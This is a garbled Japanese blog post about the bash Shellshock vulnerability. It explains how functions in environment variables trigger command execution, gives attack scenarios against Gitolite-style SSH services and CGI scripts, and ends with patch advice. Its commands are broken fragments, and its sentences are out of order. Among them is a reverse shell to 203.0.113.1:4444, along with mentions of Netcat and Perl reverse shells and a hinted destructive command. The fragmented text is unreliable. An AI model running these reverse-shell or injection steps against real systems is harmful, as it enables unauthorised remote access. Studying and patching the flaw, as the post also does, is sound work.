(2)bashの脆弱性がヤバすぎる件やっと更新する気になった。理論編bashの関数機能は、環境変数の中でも使える仕様になっています。今回問題となったのは、関数に任意のコマンドを続けて環境変数に入力すると、コマンドが勝手に実行されてしまうということです。Shockというニックネームがつけられました。Hi'もし出力の中にmanukeが含まれていたら、そのホストは今回発表された脆弱性に対して危険な状態です。来る例を紹介しましょう。Gitoliteなど、シェルを提供しないという条件付きでSSHの接続を受け付けるタイプのアプリケーションがありますが、この脆弱性を突くと、シェルを与えていないユーザに好き放題されてしまうかもしれません。/usr/bin/id'というコマンドを発射します。groups=114(git)と返ってくると、攻撃は成功です。0>&1'というコマンドを撃てば、203.0.113.1:4444にリバースシェルが降ってきますね(*1)。ひとつヤバい例を挙げましょう。CGIにおけるアタックベクタは、環境変数に格納されるパラメータです。system()や類似の関数を用いたCGIスクリプトは、OSコマンド実行のためにbashを呼び出しているかもしれません。/とかやるとゾクゾクするかもしれません。わたしは実証していませんが。LTSでは既にパッケージマネージャによって緊急アップデートが提供されていることを確認しました。こちらに掲載されている、bashのバージョンに適したパッチを使用しましょう。​bashのソースコードとパッチを読んで、どういうコードからこの脆弱性が生まれたか読み解いてみるのも勉強になりますね。LTSで実証しました。この方法が使えなくてもNetcatやPerlなど、リバースシェルを引っ張る方法はいくらでもあります。athttp://trac.edgewall.org/。